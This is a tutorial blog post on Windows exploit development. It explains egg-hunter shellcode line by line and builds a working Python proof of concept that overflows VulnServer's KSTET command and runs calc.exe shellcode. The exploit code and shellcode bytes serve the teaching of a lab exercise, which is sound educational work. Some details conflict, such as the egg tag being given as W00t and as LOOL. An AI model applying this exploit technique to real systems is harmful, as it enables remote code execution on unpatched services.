Windows Exploit Development: Egg Hunting

Logo

One of the challenges exploit developers face when writing shellcodes to exploit a program is the limited space. Sometimes space is not enough for whatever the attacker is trying to execute. For example, In vulnerable remote services, sometimes it’s not enough to send one request with an exploit code then execute shellcode. Most of the time, attackers try to gain access to the targeted systems using a shellcode that gives them a reverse shell, and a standard reverse shell that is generated by a tool like Msfvenom is way more than 32 bytes. So if the available space is less, let’s say 40 bytes, you would not be able to send a simple shellcode to get a reverse shell. You would need to do more than that. A solution for this problem is using egg hunters.

Egg hunting is a technique that helps you execute a small pre-crafted code called “egg hunter.” When an “egg hunter” gets executed, it searches the memory for an “egg,” which can be specified in the exploitation development phase. The only actions you would need to do are first inject your large shellcode into the targeted process with an “egg” at the beginning of the shellcode and then inject a small egg-hunter shellcode into the targeted process again at a predictable location you know and execute it. The small egg-hunt shellcode will look for your large shellcode in the memory and then execute it. In this case, the large shellcode is the egg, and the small shellcode is the hunter.

An example of an egg hunter shellcode:

0:  66 81 ca ff 0f          or     dx,0xfff
5:  42                      inc    edx
6:  52                      push   edx
7:  6a 02                   push   0x2
9:  58                      pop    eax
a:  cd 2e                   int    0x2e
c:  3c 05                   cmp    al,0x5
e:  5a                      pop    edx
f:  74 ef                   je     0x0
11: b8 4c 4f 4f 4c          mov    eax,0x4c4f4f4c
16: 8b fa                   mov    edi,edx
18: af                      scas   eax,DWORD PTR es:[edi]
19: 75 ea                   jne    0x5
1b: af                      scas   eax,DWORD PTR es:[edi]
1c: 75 e7                   jne    0x5
1e: ff e7                   jmp    edi

When we execute an egg-hunter shellcode, it starts by looking for a specific pattern—a pattern called “tag.” This “tag” is a four-letter word. In the example above, the word is shown in line 11. Line 11 moves 0x74303077 to EAX. If we look and compare each character in 0x74303077 to its hex representation in the next table, we will notice that it represents W00t.

The egg-hunter shellcode will scan every address in the vulnerable process’s virtual address space to look for a “tag.” Whenever it finds “tag” twice, and I say twice here because it might find itself and we don’t want it to return itself, so whenever it finds “tag” twice, it executes whenever it is after the repeated “tag”s.

Understanding Egg Hunters Line by Line

What is this egg-hunter doing? It first starts by taking EDX and jumps at the end of the page; then it increments EDX to move to the next page.

0:  66 81 ca ff 0f          or     dx,0xfff
5:  42                      inc    edx

Then it pushes EDX to the stack. This is needed because when we run the system call EDX will be modified, but we don’t want to lose its value, so we push it to the stack to store it. EDX acts like a counter. It’s how the egg-hunter scans the data in memory.

6:  52                      push   edx

Lines 7 and 9 are arguments for the syscall at line A. The 0x2 input is to use NtAccessCheckAndAuditAlarm.

7:  6a 02                   push   0x2
9:  58                      pop    eax
a:  cd 2e                   int    0x2e

Check if access violation occurs since 0xc0000005 means ACCESS_VIOLATION).

c:  3c 05                   cmp    al,0x5

Restore EDX.

e:  5a                      pop    edx

Jump back to start dx.

f:  74 ef                   je     0x0

Lines 11,16,and 18 compare w00t (eax) with what is at edi address.

11: b8 77 30 30 74          mov    eax,0x74303077
16: 8b fa                   mov    edi,edx
18: af                      scas   eax,DWORD PTR es:[edi]

Line 18 is to jump to line 1 if the egg was not found.

19: 75 ea                   jne    0x5

Line 1b is to check if the egg exists again

1b: af                      scas   eax,DWORD PTR es:[edi]

Line 1c is to jump to line 1 if the second egg is not found.

1c: 75 e7                   jne    0x5

Line 1e is to jump to the found egg.

1e: ff e7                   jmp    edi

Practice Makes Perfect

The vulnerable example program we will be practicing on is VulnServer. The command KSTET is vulnerable to buffer overflows. We will start by detecting the offset, which is the distance from the first A to the 4 A’s that overwrite EIP on the debugger. That can be done using one of the pattern generators that can calculate the offset for us. Then after calculating the offset, we will overwrite the EIP with a jump to jump back to the stack. Since there is no space, we will use an egg-hunter to look for our larger shellcode which will be injected into the process using a different command.

Basic Fuzzing

Starting by fuzzing the software with a basic python script. The next pseudocode should show a basic and oversimplified method of fuzzing a command:

Send_data function (data):
	Start a socket object.
	Construct the created socket according to the network setting
	Send the data through the created socket in the specified command. 
	Close the socket.

Fuzz function ():
    Create a buffer of an N number of an “A” character.
	While no socket exceptions:
        Run Send_data with the created buffer above as an input
        Log the number of “A”s sent
        Append an N * 2 number of “A”s to the same buffer above.	

The above pseudocode represents a simple fuzzing script that only tests different lengths for KSTET command. This is what we need for this type of simple buffer overflows. If you want to know more about fuzzing, I recommend reading this post.

Now, we should start the server and attach it to a debugger. Then execute the above script and check when it stops.

screenshot

The script stops at 64 bytes, and if we check the debugger, we would see that it crashed and showed an access violation.

screenshot

That means the overflow we have has overwritten some instructions that caused the crash. That also means that we need a minimum of 64 bytes to overflow the buffer. Now since we know the vulnerability exists and it’s around 64 bytes, we can do two things. One, increasing the bytes we send until we overwrite the EIP, and this way we can detect the right offset to put at the EIP. Two, to send pattern generators that can calculate the offset for us. I will go over both was since they can be demonstrated on this vulnerable server example.

Locating the Right Offset

We will start with the first method to detect the distance from the first A to the 4 A’s that change the EIP.

When we used the fuzzer script above, our A didn’t overwrite any of the main registers, as shown in the next screenshot:

screenshot

So now I will try to send more than 64 again to try to overwrite one of the pointers. If you try 70 characters, EBP gets overwritten as shown in the next screenshot:

screenshot

That’s a plus for us, but it’s not the EIP, so let’s try that again with 74 bytes and check the results in the debugger.

screenshot

And that’s true! If we try to send 74 characters, the EIP gets overwritten. That means after 70 bytes (with the exception of KSTET ) the EIP register gets overwritten!

Now, we know that using the first method but a more effective way might be the second one, using the pattern generator. So to do that, we will use https://wiremask.eu/tools/buffer-overflow-pattern-generator/. There are many tools that do the same functionality, but I prefer to use this online website. So if we generate 100 bytes as shown in the below screenshot:

screenshot

And then send it to the server; we should be able to crash the server again and then get the EIP value and put it back on the address, which should tell us the right offset we can use.

After sending the pattern to the server, it returned 63413363 as shown below:

screenshot

If we take that back to the online tool, it will tell us the right distance. And as we see below, it shows the same bytes we found using the first method.

screenshot

Since we now know the exact distance to change the EIP, we should not look for something that can redirect the flow to our shellcode. Like any other buffer overflow vulnerability, we will try to look for a jump to ESP.

Finding an Address of a Jump

To look for instructions, we have different kinds of tools that automate the search process for us and find any instructions for us. We can use the famous tool mona that can be found here: https://github.com/corelan/mona

So by executing the next mona command, it will automatically find all instructions that can jump to ESP

!mona jmp -r esp

screenshot

As shown above, there are 9 addresses that can be used as jumps. In this practice, I will use the next address:

Address=625011AF
Message=  0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\win7\Desktop\essfunc.dll)

Now, let’s rewrite the PoC pseudocode:

Send_data function (data):
	Start a socket object.
	Construct the created socket according to the network setting
	Send the data through the created socket in the specified command. 
	Close the socket.

Random = “A” * 70
Buffer = random + address_of_the_jump + random
Run Send_data with the created Buffer variable above as an input

Now, we have a code that should hijack the flow and go to the ESP. To make sure that everything is going as it is supposed to be, I recommend adding a breakpoint at the jump address (625011AF). That can be done by finding the address by pressing CTRL + F and then start searching for the jump address; when you find it press F2 at the address to set a breakpoint. The next screenshot should show a turquoise color on 625011AF, which is an indicator that there is a breakpoint at 625011AF.

screenshot

Now, execute the PoC and track the EIP. If everything is going well, you should find the debugger stopping at the breakpoint of the jump you chose. In my case, it stopped at 625011AF, as shown in the screenshot below:

screenshot

And the EIP register shows that too.

screenshot

And if you move one step further to jump to the ESP we will find the EIP reading from the buffer we sent, specifically reading from the random variable after the address_of_the_jump variable, as shown below:

screenshot

Calculating SHORT Jump Instruction

The conclusion of everything we have addressed so far is this. We were able to overflow a buffer and change the EIP. The PoC can hijack the execution and jump back to the ESP. So now we need to find a space to put our shellcode, but as you have already expected and seen, we only have 70 bytes before the address_of_the_jump and less than 20 bytes after the address_of_the_jump. In this case, we need to set an egg-hunter before the address_of_the_jump and a short backward jump after the address_of_the_jump. The next pseudocode should clarify the plan.

Send_data function (data):
	Start a socket object.
	Construct the created socket according to the network setting
	Send the data though the created socket in the specified command 
	Close the socket.

Buffer = egghunter + address_of_the_jump + jump_to_the_egghunter
Run Send_data with the created Buffer variable above as an input

To create an egg-hunter with a customized egg, we can use Mona to do that. The command that creates an egg-hunter is !mona egg -t LOOL, where LOOL is the targeted egg.

screenshot

Mona will generate a 32-byte code to use in our PoC. The egg-hunter generated in the above screenshot is this:

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x4c\x4f\x4f\x4c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

So now, we need to calculator the backward jump. We need to jump 32 bytes backward due to the length of the egg-hunter, 4 bytes due to the length of the address of the jmp ESP insurrection, and 2 bytes for the jump itself; thus we need a minimum of 38 bytes. To do that we can use a SHORT (Two-byte) relative jump Instruction:

0:  eb d9                   jmp    0xffffffdb

The reverse (or Backward) jumps have relative offset bytes from 80h to FFh. In our case, we will use D9. The EB D9 instruction should jump backward 39 bytes which is what we exactly need + 1. If the calculation I used above is confusing, you can use https://www.rapidtables.com/convert/number/hex-to-decimal.html, which can give you the decimal form signed 2’s complement of a hex number. The next screenshot shows that:

screenshot

The current pseudocode should look like this:

Send_data function (data):
	Start a socket object.
	Construct the created socket according to the network setting
	Send the data through the created socket in the specified command. 
	Close the socket.

random = “A” * 38 
Jump_to_the_egghunter = `jmp    0xffffffcb`
Buffer = random + egghunter + address_of_the_jump + jump_to_the_egghunter
Run Send_data with the created Buffer variable above as an input

In python:

offset = 70
# The egg is L00L - 32 bytes
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x4c\x4f\x4f\x4c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
# 625011AF
address_of_the_jump = "\xAF\x11\x50\x62"
# Jump back 39 bytes    
backwards_jump = "\xEB\xD9"
random = "A" * ( offset - len(egghunter))
buffer = random + egghunter + address_of_the_jump + backwards_jump + random
send_data(buffer)

To make sure we are on the right track, we need to execute the PoC and execute the assembly instructions, step by step, and verify that our PoC is working as intended. The next screenshot shows the pre-crafted instructions we made.

screenshot

So the ESP jump does its job and redirects the execution flow to the short jump. The short jump also jumps to xxxxF9BB, as shown in the next screenshot:

screenshot

That means the PoC works as intended.

Now, we need to inject a shellcode with an egg at the beginning of the shellcode into the process.

Pseudocode PoC:

Send_data function (data):
	Start a socket object.
	Construct the created socket according to the network setting
	Send the data through the created socket in the specified command. 
	Close the socket.

Exploit function():
	random = “A” * 38 
    egghunter = `mona.py output`
    Jump_to_the_egghunter = `jmp    0xffffffdb`
    Buffer = random + egghunter + address_of_the_jump + jump_to_the_egghunter
    Run Send_data with the created Buffer variable above as an input

Injection_shellcode function():
	# calc.exe
	shellcode = (
    "\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
    "\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
    "\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
    "\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
    "\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
    )
    buffer = "STATS " + "LOOLLOOL" + shellcode 
    send_data(buffer)


ESP Register

So if we test the above code, the egghunter should find the shellcode that spawns calc.exe. However, it doesn’t and it breaks while saying “ACCESS VIOLATION”, as shown below:

screenshot

Let’s take a look at the egghunter instructions. We can see that the instructions were modified during the egghunter execution since the ESP was set at the address of the jump_to_the_egghunter and it grew and as result overwrote the egghunter instructions.

screenshot

To solve this, you can either change the location of the egghunter and increase the jump or even easier, change the location of the ESP. In my case, I will change the location of the ESP pointer by adding 40. The next instruction should do that:

0:  83 c4 28                	add    esp,0x28

Due to the addition of the new 3 bytes to change the ESP location, we need to increase the jump by 3 bytes. So instead of jumping 0xD9 we need to change it to 0xD6. Again, if this is confusing you can use https://www.rapidtables.com/convert/number/hex-to-decimal.html to find the decimal from signed 2’s complement of D6.

After these new changes, the pseudocode of the Exploit function should like this :


Exploit function():
	random = “A” * 38 
    egghunter = `mona.py output`
    Jump_to_the_egghunter = `jmp    0xffffffd8`
    Change_esp_location = `add    esp,0x28`
    Buffer = random + egghunter + address_of_the_jump + change_esp_location + jump_to_the_egghunter
    Run Send_data with the created Buffer variable above as an input

To make sure that the egghunter is doing what it is supposed to do, set a breakpoint at the second comparison instruction (AF) as shown below:

screenshot

When you run the egghunter, you should see the status as running, which is an indicator that the egghunter is actually searching for the tag.

screenshot

Every time the execution stops at the second comparison instruction, follow the EDI in the Dump, and you will see that it detects all the tag I assigned above, which is LOOL. The next two screenshots are an example of the egghunter finding itself.

screenshot

screenshot

Finally, when it passes all the conditions and doesn’t jump back, the EDI should hold the address of the targeted shellcode as shown below:

screenshot

And if we look at the EDI address in the Dump, we can see the shellcode and calc in ASCII.

screenshot

When we exit the breakpoint, the shellcode should execute.

screenshot

The final python PoC:


import os, sys, socket

host = "0.0.0.0"
port = 9999

def send_data(buffer, flag = True):
    # Used to send the 1st stage shellcode (egghunter)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    print s.recv(1024)
    print "Sending data..."
    if flag:
        s.send("KSTET " + buffer)
    else:
        s.send(buffer)
    print s.recv(1024)
    s.close()

def exploit():
    offset = 70
    # The egg is L00L - 32 bytes
    egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x4c\x4f\x4f\x4c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
    # 625011AF
    address_of_the_jump = "\xAF\x11\x50\x62"
    # Jump back 42 bytes    
    backwards_jump = "\xEB\xD6"
    # Add 40 to esp
    change_esp_location = "\x83\xC4\x28"
    random = "A" * ( offset - len(egghunter))
    buffer = random + egghunter + address_of_the_jump + change_esp_location + backwards_jump + random
    send_data(buffer)
    print(str(len(buffer)) + " `A`s sent")

def inject_shellcode():
    # Calc.exe
    shellcode = (
    "\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
    "\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
    "\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
    "\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
    "\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
    )

    buffer = "STATS " + "LOOLLOOL" + shellcode
    send_data(buffer, False)

def main():
    inject_shellcode()
    exploit()

main()


Final Thoughts

In this post, we talked about the space limitation challenges exploit developers face. We discussed egg hunters, which considered a solution for the space limitations and went over the details of how they work line by line. What I want you to get from this discussion is not just how to use known egg-hunters, but more importantly, how to use the idea behind egg-hunters. To explain this more, what if you have less than 32 bytes? What are you going to do? You should know that sometimes you don’t even have to use two checks to check for the tag since it might always just hit the first correct tag. It depends on how the targeted program is designed, but in general, if you understand how egg-hunters work, you will be able to customize a egg-hunter that works specifically for a specific program thus, you will be able to write even shorter egg-hunters.